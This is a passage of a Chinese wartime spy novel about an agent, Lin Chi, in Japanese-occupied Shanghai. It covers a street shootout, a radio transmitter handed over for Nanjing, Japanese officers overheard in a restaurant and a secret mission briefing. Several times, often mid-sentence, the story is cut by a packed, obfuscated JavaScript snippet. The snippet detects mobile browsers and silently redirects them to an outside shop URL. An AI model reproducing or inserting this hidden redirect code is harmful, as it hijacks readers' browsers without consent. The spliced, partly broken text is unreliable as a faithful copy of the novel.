最关键的,林赤看到和自己同一个方向的街边上,停着两辆黑色轿车,透过车窗的玻璃,里面一目了然,空无一人。在轿车一侧的沿街,并没有店铺,这与上海街头一贯的场景格格不入,而且,轿车的停放也不整齐,通过车头摆放的方向,怎么看都显得匆匆而为。 车上的人去哪儿啦? 林赤无法找到合理的答案,最后,他把目光重新投向了街对面的申报馆。 林赤走近了轿车,确信附近再无可疑的人,便侧身躲进了轿车前面一条狭长的弄堂里。 弄堂很浅,连接着街边的房子,弄堂尽头,是一间废弃的厂房,走进去才看出原来是一家面粉厂,厂房遭到过战火,墙垣坍塌,穿过这面墙,房后是一条干涸的小河床,河床对面是一片菜园,接着是一眼望不到边的民房。 再次回到街边,忽然看到从申报馆涌出一队浩荡的人流,眼前的一切立即印证了林赤的判断。赵楷被两个男子押着走在最前面,接着他看到了被押解的李景轩和小芳。 林赤脑中升腾而起的第一念头就是要解救出赵楷。 这不仅因为赵楷是和他上海之行的结伴者,还有一个原因,他觉得赵楷骨子里有一股热血,这样的特性,一下子拉近了林赤和赵楷的距离,甚至于,林赤已把他当成了志同道合的战友。 他相信,凭赵楷的身手,一旦局面混乱,他一口气冲进弄堂,并和林赤携手逃遁且避免受到伤害,是完全做得到的。 就在赵楷身边的男子用力按下他的脑袋时,林赤知道最佳的时机到了,林赤果断地开出了第一枪。 面对如此的危局,林赤所追求的目标乃是一枪毙命,绝不拖泥带水! 这一声枪响,毫无征兆,刺得所有人耳膜生疼! 这一声枪响,像是径赛的发令枪,远远围观的人群忽然启动步伐,开始四处逃窜! 这一声枪响,更是一道战斗动员令,现场的所有人立即做出了千姿百态的反应:低头、矮身、后退、拔枪…… 赵楷正想踏进车内,突如其来的枪响让他觉得按住脑袋的手已不知所踪,另一双紧攥他身体的手也忽然松去,他的视线掠过车顶,正见前方十多米远的街边的一堵墙后,探出了一张熟悉的脸。 是林赤! 希望顿时从赵楷的内心升起,失败的沮丧一瞬间荡然无存。 林赤从墙后面大大咧咧冲了出来,抬手又是一枪,赵楷身边的第二位男子刚拔出手枪,但还没来得及抬手就应声倒地。 赵楷又惊又喜,林赤的形象在他的心中一下子高大起来,这小子果然不是泛泛之辈! 林赤握枪的手扬在空中,再前进数米,嘴里大喝一声:“跟我来!” 赵楷不再犹豫,顺手从地上捡起一把枪,低着头欢快地向林赤跑去。 走在赵楷后面的一众人此时已拔出枪,纷纷举枪射击。 林赤看到赵楷已经奔自己而来,一边还击掩护一边向弄堂快步退去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259572|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵楷带着一丝惴惴不安和莫名的兴奋,三两步冲进了弄堂! “走!”林赤带着赵楷向弄堂里跑去。 可没跑几步,前面的林赤突然慢下了脚步。 “听!”林赤缓缓转身,目光扫了一下赵楷。 赵楷果然听出了异样。街上的枪声不知何时密集起来,枪声大作。 枪声中,伴着嚎叫声,伴着呻吟声,伴着洪亮的呵斥声,已喧嚣一片。 林赤返身,再次来到街边的墙后,赵楷贴身而至。 片刻间街上已是另一番景象,刚才还在追击林赤和赵楷的那一众人,现在已弃他们不顾,他们正转身应对另一场从天而降的袭击。 在他们的对面,同时出现了十多名装扮各异的男子,他们也是清一色的手枪,双方相互对射。 绝妙的机会!林赤挺身而出,赵楷跟着加入,二人一面开枪一面逼进! 上野从申报馆出来后,心情依旧美妙,可转瞬间已被这两股袭击撕得粉碎,几名队员陆续倒地,人数上已绝无优势,胜算更是渺茫,况且已被对方压制到街对面的狭促空间,上野不敢恋战,带着剩下的几名队员快速突围,仓皇向南逃去,哪里还顾得上趴在地上的李景轩和小芳,更别说那两辆轿车了。 另一伙人追了一百多米,看实在追不上了,又返回了原地,其中一个领头模样的三十四五岁的年纪,一米八左右的个儿,身材粗壮,下巴长着一颗黑痣,上面生长着几根顽强的毛发,已有几寸的长度。 他提着手枪径自向林赤方向而来,距离尚有四五米远,他哈哈一笑,大声道:“你们是共产党吧!” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第63章 偶遇 车弯弯绕绕穿过五六条马路后,李景轩说道:“我们下车吧!” “到了?”赵楷问。 “我们重新换一辆巴士。”李景轩道。 一帮人下了车,来到街的拐角处,林赤把李景轩独自拉到一边。 “我不是共产党,也不是你们的人,我是受人之托,来给你送这个的。”林赤掏出胶卷,递给李景轩。 李景轩吃惊不小,接过胶卷,竟不知话从何说起。 “我们就此别过,你们多多保重!”林赤说到“保重”时,不由又想起了小于跟他最后的道别“林先生保重”。 李景轩欲言又止,林赤看在眼里,问道:“李主任还有什么话要说?” 李景轩迟疑片刻,说道:“算了吧!” “李主任如果有什么话要我捎带,或者有什么事要我代劳,我一定照办!”林赤毅然道。 “按上级指示,本来想让你带回……不过,算了,林先生也不是我们组织的成员!”李景轩话说了一半,忽然把自己的想法否决了。 林赤却一脸坚决:“李先生是不相信我林赤的能力?还是不相信我的人?”顿了顿又说:“小于因我而死,心中一直亏欠得慌,如果您愿意把任务交给我,我保证完成,不管有多困难!”林赤改称李主任为李先生,神情严肃而真诚。 李景轩想了想说:“那成,我把林兄弟当自己人了,也就不绕弯子了!”李景轩改称林先生为林兄弟,神情也严肃而真诚。 “请讲!” “我想让林兄弟给南京带去一台电报机……”李景轩缓了缓立即补充道:“不过,这件事如果林兄弟办不到,我绝无怨言,因为事情本身就很棘手!” “多大功率?”林赤问。 “五瓦,机子很小,放在行李箱即可!” 李景轩继续道:“我们组织决定,建立南京电台。” “好的,我一定办到!”林赤断然答复,又怕这样的允诺不够分量,“我林赤和电台共存亡!” 李景轩舒畅一笑:“林兄弟尽力而为!” “如何取?”林赤追问。 “你们住在哪里?” “劳尔登路23号的明月旅社208房间。” “你们什么时间离开上海?” 林赤想起还有两件主事没办,说道:“最迟后天离开。” “好,我们最迟明晚把电台给你送过去!” 二人对视一笑,不约而同伸手相握! 林赤回到街上,示意赵楷,“我们走!”刚走两步,林赤回头对于小芳道:“如果我们还能相见,到时我们以姐弟相称!” 于小芳红着眼睛使劲点头,与李景轩一道,目送林赵二人分别上了一辆黄包车。 “可惜,他不是我们的人!”李景轩不无惋惜道。 一回到明月旅社,一楼前台一个中年男人立马起身,询问的目光扫着林赵二人,终于试探问道:“二位是南京来的吗?” 赵楷伸出手,做出握手的姿势:“您一定就是黄埔商行的白老板吧?让您久等了!” 果然是白老板,他哈哈道:“不碍事,我也是刚到!” 说着拉着赵楷出了旅社,回头示意林赤跟上,接着朝路边的一辆轿车打了个手势,车上马上下来一个小伙,殷勤的打开后门,静静地候着。 “走,到沪上人家给二位接风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259573|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗尘!” 林赤饥肠辘辘,也不客气,跟着赵楷上了车。 车朝着虹口方向而去,行至大半个小时,一座四层豪华阔气的大酒店屹立在众人眼前。 “到了,到了。”白老板第一个下车,并帮助他们打开了车后门。 节气还未出数九,寒气依旧袭人,但沪上人家大酒店的两位美女迎宾却衣着暴露,深V间隐约晃动着炫目的白,有两位男性顾客走在林赵他们前面,不禁被那份妖娆深度吸引,其中一位眯着眼睛窥视着那隐藏在胸间的玲珑,另一位恨不得一手伸进去掏摸几下……他们不合时宜地挡住了林赵数人的去路,林赤不耐烦地喝道:“让开!” 这声音完全是命令式的,不给对方回旋余地,更无情面可言,而且是当着女士的面……那二人立时跳了起来,屈辱地转头,怒目横视,看林赤却不高大,心中又多了几分胜算,一只手便虎虎生风,突兀地搭在林赤的肩上,手指立即发力,嵌在林赤的肩胛骨上,用的是一种锁的功夫。 林赤没想到对方居然先动起了手,心中漾起一股怒气,一抖肩膀,已将对方的手臂甩开,右手一百八十度翻转,立即扣住对方的手心,再一用力,将那只手扭到背后,那男人疼得“嗷嗷”地嚎叫起来。 林赤心中微微失望,这并不是一个同级别的对手! 另外一人见同伴一瞬间已被对方控制,不甘心地用尽全力挥拳来击。 林赤伸出左手一把挡住对方的拳头,手指一拢,紧握住对方的拳头,再向前一送,第二位的手已被林赤反转,林赤双手这时同时发力,这二人立刻发出鬼哭狼嚎般的嚎哭声。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第64章 隔墙有耳 林赤心中一沉,却不慌乱。 林赤凑近白老板,在他耳边道:“白老板与那位岩井太君的交情如何?” 白老板胸脯一拍,竟不假思索,“我和岩井太君那有如兄弟,32年第一次淞沪战争之后,我就与岩井太君过从甚密,从钱饷到紧俏物资,甚至一些大大小小的舆情信报,无不仰依我白某人,毫不夸张地说,我给大日本皇军立下了赫赫战功……” 原来是个不折不扣的汉奸,林赤不耐烦打断他:“白老板,要不要听我讲个故事?” 白老板立即摆出一副洗耳恭听的样子。 “明朝开国元勋中,徐达可以说得上是开国第一功臣,在我们南京民间有个传说,讲徐达患有背疽,不能吃河鹅,因为它是‘发物’,偏偏朱元璋赐蒸鹅全宴给徐达,明朝规定赐宴必须马上吃光,徐达就流着眼泪把鹅肉吃完,不久毒发而亡,他现在就埋在南京紫金山上;再说武将蓝玉,那是战功显赫,功高盖主,可是最后呢,包括蓝玉在内有一万多人牵扯其中,都不得善终;还有文臣胡惟庸,那也是朱元璋的左膀右臂,可结果呢,还不是成了朱元璋的刀下鬼?……” 白老板一听到林赤话中全是死啊活的,不禁全身一颤,酒精随着身体的抖动好像一下子挥发不少,紧张问道:“那林兄弟的意思?” “我想提醒白老板,和这样的人打交道,切不可走得太近!”林赤一语双关。但白老板哪里能听得出来。 “要有距离,距离产生美,只有保持距离,于人于己都有好处!” “林兄弟的提醒真是及时雨!看不出林兄弟小小年纪,却深谙为官之道,来,我和林兄弟再来个满杯。” 举杯之际,林赤忽又听到隔壁的包间大门被打开,一串脚步声走了出来,在门口停了下来,是申报馆的那名叫做上野的日本人的声音:“再见,我这就去办!”脚步声刚刚响起,却又停了下来,听到包间内又出来一人,似乎在小声地叮嘱着什么,片刻后,声音略有提高,是上野的声音:“岩井阁下,属下牢记。”话毕,上野带着几人走了。 林赤将酒杯的外沿贴在唇边,转了半圈,对白老板说道:“不过呢,今天这酒该敬还是得去敬一下的,既然白老板有应诺,咱们也不能失这个礼。” “那是那是。”白老板巍颤颤地立了起来,一手拉起林赤,一手端着酒杯,向门口走去。林赤伸手拉门,让白老板先出去,自己站在白老板身后,向走廊两侧瞟了一眼,确信无人后也跟了出去。 快到310包厢,白老板一拍脑袋:“我忘了拿酒了”说着就返身回309包间。 林赤踏着浅步走到310包间前,岩井的声音传了出来:“山口君,你打算什么时候出发?” “后天上午,从您这里把人押了就走。”山口的声音。 岩井继续道:“此去南京,路上并不安全,要不要我再多派些人手给你?” “不用、不用,两个人足够了,不就是一个囚犯的家属吗?又不是什么重要的人物。” “哎?山口君大意不得,听说最近南京周边很不安全……” 这时白老板拎着一整瓶白沙茅酒出来,林赤悄无声息上前,三两步迎了过去,一把扶住白老板晃悠悠的身子,高声道:“白老板,您还行吗?” “没问题,我好着呢。”他挣脱林赤的手,夸张地迈着大步,以显示自己才是微醺。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259574|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白老板走近310房间,很有分寸地抬手轻敲房门,一边敲还一边示威般回头看林赤,似乎是进一步用自己礼貌得体的言行彰显自己头脑清晰,且深不可测的酒量。 “请进。”岩井大声道。 “是老朋友来啦,我刚刚还和山口君说起,怎么白桑还不过来?白桑再不来,我可要亲自登门啦!……哦,林小兄弟也来啦!” “岂敢劳太君大驾?”白老板一脸诚惶诚恐的样子。 “岩井太君好!”林赤紧接着白老板的话问候道,眼光落在山口身上,他就是刚刚在楼下提醒岩井房间号的那位日本人。 “这位太君是?”林赤犹豫地问道。 “山口君,我的好朋友。”岩井介绍道。 在座的还有好几位,林赤从座位安排上看出其他人都是配角,就索性朝着众人鞠了个躬,嘴里招呼道:“大家好!” “来来来,咱们喝一杯!”岩井站起,接着身后的所有人都站起。 林赤站在白老板身后,白老板抢先上前,刚举起酒杯,岩井把眼光却投向了林赤:“白桑,我们喝酒的机会大大的,我先和你的客人喝一杯。”说着招呼林赤上前。 林赤马上摆出一副受宠若惊的神色,弯着腰,端着酒杯。 “我先敬太君,太君随意!”说着一仰脖子。 “小兄弟好酒量。”岩井将酒杯放到唇边,先浅呷一口,想了想也一饮而尽。 “我再敬山口君!”林赤从白老板手里接过酒瓶,加满后端起。 同样一饮而尽。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第65章 临危受命 午后,白老板带着林赵二人一起来到了他的黄埔商行。 黄埔商行也在虹口,离沪上人家大酒店并不是很远。 赵楷已经和白老板谈妥了价格,整个下午,他们机械地履行着买卖交易的常规流程:验货、调试设备、简短培训、交钱付款…… 这一切忙完后,白老板安排一名职员带着赵楷前往火车北站,将所购的设备直接通过火车托运。由于白老板在上海滩上广袤的人际关系,他的货物轻易而快速地办完了一切手续。 白老板叫来了他的司机,欲派车把林赤送回了住处。 林赤想起了此行还有另一件任务未完成,便婉拒了白老板的好意。 “上海我是第一次来,我想四处逛逛。”林赤说。 “那我安排一人陪陪林先生?”白老板已无一丝酒意,不再称呼林赤为林兄弟。 “不用了,我一人走走,这附近有无好玩的去处?”林赤说道。 白老板想了想苦笑道:“这座城市多次遭受战火,尤以虹口周边为重灾区之一,除了一处虹口公园,其它已是面目全非……” “这就够了,我便去虹口公园转转,谢谢白老板的盛情款待,我们就此别过,希望日后有缘再见。”林赤与白老板握手作别,下了楼,来到街上,叫了一辆车。 “去虹口公园!”林赤对车夫道。 重庆的电报中说,在虹口公园的大门入口,有一家字号“普济”的中药铺。 虹口公园与白老板的黄埔商行只相隔了几条街,十分钟不到,就听到了车夫吆喝一声:“先生,虹口公园到了!” 付完钱,林赤习惯性四处看了看,然后走向公园大门。 果然在公园大门的对面,一栋二层的小楼,从二楼的阳台上伸出一块招牌——普济药铺。 来到门前,林赤看到里面有不少抓药的病人,便没有立即进去,径直从大门走过,来到隔壁一家杂货店,买了包香烟,横过了马路,在公园门口找了一张石凳坐下,抽出一根,燃起,悠然地吸着烟。 一根烟不到的时间,林赤看到药铺里最后的一位顾客走出,扔掉烟头,走进药铺。 药铺伙计一身粗布长衫,戴一副眼镜,三十五六模样,正坐在柜台中歇息。 林赤踱步来到柜台前,双手撑在柜台上,看了一眼伙计,然后把目光扫向伙计身后的药柜。 “先生,您需要点什么?” “我六十二岁的老岳父,失语已有三年,本人四处打探奇方,听说由五味良药配伍而成的‘六六通’可治愈顽疾,其中一味三七,我找寻足有八天,久寻不得,十分想知道您这里会不会让我失望。” 伙计明显愣了一下,旋即起身走到台前。 “三七又不是什么旷世奇珍,先生为何找不到?” “我的药方所需三七,一定是产自广西文山。” “这位先生您一定搞错了,可我只听说云南文山……” “果真如此?难怪每家药铺都众口一词,原来是我自己搞错了……” 药店伙计听到这里,立即招呼林赤进了柜台,他一边看着大门进口,一边掀开柜台药柜下方的一块木板,示意林赤钻进去。 一间十多平米的密室跃然眼前。 一张宽大的竹藤椅上,坐着一位中年黑衣男子,他见林赤进来,立即起身相迎。 林赤刚想问好,对方做出一个噤声的手势,拉开一道门,门后面又出现一间密室,黑衣男子将林赤带了进来。 门再次被关上。 “新年同志,您终于出现了!”黑衣人说着双手紧握住林赤。 “您好!” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259575|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫我老周好了,由我负责给你传达任务。” “我想知道‘食人兽’计划的具体内容。” “哦,不急,你先坐,我给你倒杯水,然后我再详细告诉你。”老周弯腰提起一只开水壶,给林赤倒了一杯水,放到林赤面前。 “两天前重庆就发来急电,告知了你即将来此的消息,我得到命令,让我一直在此等候,可总算把你盼到了。” “重庆方面需要我做什么?”林赤迫切想知道“食人兽”计划的全部。 “沦陷的南京城里,有我们蒋校长最喜爱的一件无价之宝!不,应该是一件我属于们国家的无价之宝!” “国宝?”这样的任务在林赤意料之外。 “这件国宝意义非凡,它是中华青铜器文化精品中的代表作,也是该文化的最有力的象征和传承!” “哦?”林赤精神为之一振 “‘食人虎兽尊’,高度37·9厘米,是我国商代晚期的青铜器珍品,造型取踞虎与人相抱的姿态,立意奇特,出土于湖南,纹饰繁缛,以人兽为主题,表现思想灵异!……”老周滔滔不绝,一口气把食人虎兽尊的相关悉数倒出。 “你的意思,这样一件举世罕见的瑰宝还在南京?”林赤有些不信。 老周气愤道:“我们校长身边的这帮蠢材,南京撤退期间,竟然将它遗忘在总统官邸……”说着自己也觉得这件事匪夷所思,进一步补充道:“校长对这件宝物可谓是青睐有加,几乎是爱不释手,为了能够天天看到 它,就把这件宝物带回了官邸,放在卧室,每次起床后或睡前必定细细观摩,领悟个中寓意,没曾想,那帮蠢材居然以为它仅仅是件办公吉祥物,就这样,此宝物至今仍深陷南京,不知所踪!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第66章 情爱和主义 林赤开门,来人李景轩。 李景轩提着一件笨重的行李箱,林赤门刚打开,他马上心照不宣跻身进屋。 关上房门,李景轩将行李箱小心翼翼放在床边,身子一直起就对林赤微笑道:“林兄弟,打扰到你了吧?” 林赤报以一笑,:“哦,是李先生啊!”打了个哈欠不经意问道:“现在几点啦?” 李景轩:“估计八点半吧。” 林赤抬手看表,一脸钦佩,把手表送到李景轩面前。 李景轩瞟了一眼时间,面露得色:“瞧瞧,误差不超过一分钟!” “李先生是怎么过来的?”林赤又问。 “叫了辆黄包车。”李景轩眼光掠过地上的行李箱,“太重,提起不方便。” “这么说,李先生的住处离这儿不远喽?” 李景轩蹙了一下眉,说道:“上海这么大,林兄弟凭什么说我离此不远?” 林赤含笑道:“你这么肯定说出当下的时间,居然能够精确到一分钟之内,我猜想你距离上次看表的时间应该不超过三十分钟,准确讲应该在二十到三十分钟之间,按照情报人员的职业习惯,你由住处出发前应该关注过时间,所以,二十到三十分钟的黄包车车程你说会远吗?” 李景轩眉头皱的更厉害,赌气道:“我的住处没有钟!”略作思索,执拗说道:“你们明月旅社一楼服务台也有钟啊,我为什么不是看了它的时间?” 林赤看出李景轩气鼓鼓的模样,大有顽童斗架挫败后一副不服输的倔强,心里暗自好笑,也不理他,随手拎起箱子,在手里掂了掂,说道:“这是干电池发报机?” 李景轩没有回答林赤的问话,依旧不依不饶:“你还没回答我的问题呢!” 林赤看这个老小孩并无罢休的意思,知道搪塞不了,就略显认真地说道:“从一楼服务台上到二楼,时间也就二分钟,这么短的距离,你作为一个年逾半百的成年人,即使准确地估计出时间,也不可能如此得意洋洋,所以能够让你自豪地预估地时间段应该在二十分钟以上,再说,我从入住这家旅社当天就已经知道它出了故障,你既然对一楼服务台的时钟有关注,我相信在这一点上,你心里一定比我更清楚,并产生过疑虑……” 李景轩挫败感更重了,但却装作满不在乎的样子,说道:“你说得没错,确实是干电池发报机。” 林赤见他旁顾左右而言他,心中更乐了,于是对他继续施以打击:“和你一起合住还有谁?” 李景轩一下子跳了起来,“合住?你凭什么说我和其他人一起合住?我什么时候告诉过你我和他人合住了?!”话一说完,整个人就像一只泄气的皮球,不敢再多说一字。 林赤见眼前的这个老小孩终于败下阵来,心中一阵愉悦。 欢愉归欢愉,林赤想起李景轩此行目的,就正色道:“李先生,我打算后天返回南京。” 李景轩还沉浸在震惊之中,林赤的一句话把他拉回到现实。 “票订好了?” “那倒没有,不过订票也方便,只是……” “只是什么?”李景轩追问。 “我原打算将电台连同采购设备一道打包托运,现在看来,这条路已行不通。” “那如何是好?”李景轩忧心忡忡:“听说最近,日本人对进出上海的旅客盘查很严,连行李箱都是要检查的,你又如何能带得出去?” 林赤低头思考着,俄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259576|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顷抬头对李景轩说道:“除非……” “林先生有办法?”李景轩迫不及待问。 “只是……有一定风险,不过现在还无法肯定答复,要不,我明天回复你?” “那好,我给你写个地址,明天烦劳你去一趟,报社我已经去不了,我全天都在。”李景轩从衣服里掏出一张纸,再拔出笔,飞快地在上面写上了联系地址。 “那咱们就一言为定,我估计明天下午找过去。”林赤接过纸条,扫了一眼后折好放进口袋。 “那电台我先带走,等你明天登门后确定了计划我再将它交给你!” 林赤将李景轩送出房间。 一路上,李景轩都在想同一个问题,这个性格沉静的年轻人太可怕了,可怕得让人不寒而栗,他的睿智,让他处处显现出过人的自信,万幸的是,他并不是自己的敌人,甚至非敌似友! 要是能够争取为我所用,那该多好! 李景轩走后,林赤下到一楼找赵楷,正遇到提着大包小包饭菜返回的赵楷。 “我正想找你去呢,一起吃些东西吧!” 林赤从赵楷手中接过钥匙,开了105的房门。 “托运的事情,都安排好了,估计两天后到南京,到时我去接站。”赵楷将打包的饭菜摆满一桌,又说:“再喝点酒?我们好好聊聊?” 林赤从桌上拿来两只茶杯,倒上酒。 两人碰杯,都轻呷一口。放下酒杯,赵楷问:“我们什么时候回南京?” “你明天去一下上海北站,订两张后天的火车票,我还有些事,脱不开身,只能麻烦赵兄跑一趟了。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第67章 求援 林赤掏出李景轩写给他的字条,把地址记在脑中,然后将纸条撕得粉碎。 他决定去找李景轩。 偌大的上海,他茫茫无亲,唯一可能给予他援助的则是另一个组织,而这个组织,无论从人力、物力还是财力上,尚还很弱小,远远不能与自己的组织相提并论,可是自己的组织,效率拖沓,官僚成风,竟不能为此做出快速反应,层层上报,再层层传达,眼看就要失去最佳时机。 一个党国的少将,掌握了多少军情机密!盘根错杂的人脉、不可低估的号召力和影响力,其一旦倒戈,带来的灾难将是毁灭性的! 挟持他的妻子,动摇他的心理防线,再施以利诱,不能不说,这是日本人的一个高明的阴谋!在面对情爱的掣肘下,甚至都不用再行肉体的折磨,天下又有多少人能迈过这道坎? 林赤已不能再坐等。他必须在今天制定出完整可行的行动计划。 但此时林赤最担心的,倒不是另一个组织的态度,而是到底有没有这样的能力。 无论如何,抱着一试的态度,总比坐以待毙强,总比什么事也不做要强,到底,希望尚在,哪怕只是那么一丝丝! 车夫听过林赤说出的地址后,用最原始的动力驱动了车轮。 半小时路程下来,林赤发现黄包车行进的方向,竟离明月旅社越来越近。 最后,车停在了一条街边的院落旁。 果然如林赤所想,李景轩的住处离明月旅社只隔着四五条大街。 院子的大门紧闭,没有上锁。林赤待车夫拉着车子走后,伸手推门,门从里面上了栓。 林赤知道里面有人。 抬手敲门。 不一会儿,里面传来一个男子的声音:“谁呀?” “我找李景轩先生。”林赤轻声回答。 门被犹犹豫豫打开,一张陌生的中年男人的脸。 中年男人下意识地伸头看了看林赤的身后,把林赤迎了进来,快速关上院门,上了门栓。 “你跟我来!” 院子里不少间房子。来到正堂,一张八仙桌旁坐着一位女子,熟悉的面孔,对方看到是林赤,愣了一下,旋而对林赤报以一笑。 于小芳!申报馆广告推销科的于小芳!林赤想起自己的承诺,竟没有迟疑,大大方方喊她一声:“姐!” 于小芳显然被这个陌生人的称呼叫懵了,脑子稍转,立即明白了一切,与此同时眼睛漾起一丝泪光,内心中马上千回百转,多少回忆被一下子激活…… “哎?……”于小芳声音颤抖,应了一声。这声回应,先是疑虑重重,渐渐向欢畅过渡,带着些许惊诧,些许悲凉,些许惊喜,些许欢愉…… 这时里间的房门打来,李景轩走了出来,微笑着大步迎向林赤。 “我猜林兄弟一定会来的!”李景轩伸手握住林赤,像是久别重逢的故人。 林赤笑盈盈的目光与之交汇,只是在对方脸上多停留了一秒,李景轩立即显得不自然起来,有坚守秘密的顽劣小儿被当面揭穿后的羞赧。 “林兄弟说的没错,我确实和他人一起合住。”李景轩以退为进,急于消解内心的不安和尴尬。 “我找你有事相求!”林赤开门见山。 “哦?里面请!”见对方有求于己,李景轩立即有了心理上的优势,战略上已取得了主动。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259577|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “小芳,给这位林先生倒茶!” “林兄弟不是为了电台的事找我?”不等林赤入座,李景轩率先问道。 “算是,也不算是。”林赤坐定,又问:“李先生的共产党在上海的行动力量如何?” 李景轩马上一脸警惕:“林先生到底有什么事?” “我想救出一个人!” “救人?救什么人?从哪里救?”李景轩忙不迭声抛出自己的疑问。 于小芳敲门,接着端茶进来。林赤接过茶杯,微笑谢过。待于小芳出门后,林赤说道:“明天上午,日本驻上海总领事馆将有一辆轿车前往南京,车上羁押着一位党国将军的妻子,日本人想用这位女子去策反她的丈夫……” “林先生到底是什么人?”李景轩打断林赤,脸上疑云密布,又改称兄弟为先生。 林赤端起茶杯,茶杯的水面上飘着一层茶叶,从形态看出是西湖的龙井。林赤吹出一口气,水面荡起着一圈圈波纹,有几根茶叶极不情愿地沉入杯底,林赤找出空档,饮了一口。 “我原也是一名党国的军人,是南京中央陆军军官学校教导总队一名上尉连长,参加过前不久的南京保卫战,几乎是死里逃生,后来投到南京赤盟会陶天阙会长的门下,此次来上海是帮助陶会长采购照相器材及设备。昨天受黄埔商会白会长之约,前往沪上人家大酒店赴宴,不经意从日本人嘴中探得此消息,故而想请贵党出手,阻止日本人的阴谋!” “原来如此!”李景轩似乎松了口气,“你们的党在上海有着很强大的行动能力啊,你为何不去求他们帮忙,这也是他们的分内事!” 这章没有结束,请点击下一页继续阅读! 第68章 截杀 冬天的夜特别漫长,凌晨五点,除了遥远的东方天际,透出了一丝极淡的亮色外,四周依旧漆黑如墨。 林赤和赵楷早早地退了房,站在明月旅社的门口。 五点刚到,两束汽车的灯光由远及近。一辆车快速地驶来,在离明月旅社不到五十米的地方,忽然减慢了车速,慢慢地滑停在了明月旅社的门前。 林赤打开后车门,和赵楷双双跨进了车内。 车里三名男子,除了司机年龄看上去大一些外,其他二位都是二十八九岁的样子。 “请问是林先生吗?”前排副驾驶上的一名男子回头询问,目光扫着林赵二人。 “我叫林赤,这位老赵。”林赤指着赵楷介绍着。 “我姓孙,你们叫我小孙好了,这位姓钱,你们叫他小钱吧。”副驾驶上的小孙戴着一顶黑色的棉帽,指着后排的男子向林赵二人介绍道。 “我是老王。”司机启动着车子,也作着自我介绍。 五人寒暄一番,算是打了招呼。 “我们是去真如吗?”司机老王进一步求证道。 “是的。”林赤回复,又问:“你们都带武器了吗?” 得到三人肯定答复后,林赤继续道:“给你们添麻烦啦!” “林先生这是哪里话!”小钱抢先回答,“我接到任务后,兴奋得一夜没睡好!” 小孙接过话,道:“我们已经好久没行动了,自从小日本占领了上海后,我们是蛰伏蛰伏再蛰伏,可把大家伙憋坏了,一个个的都手痒得很!” 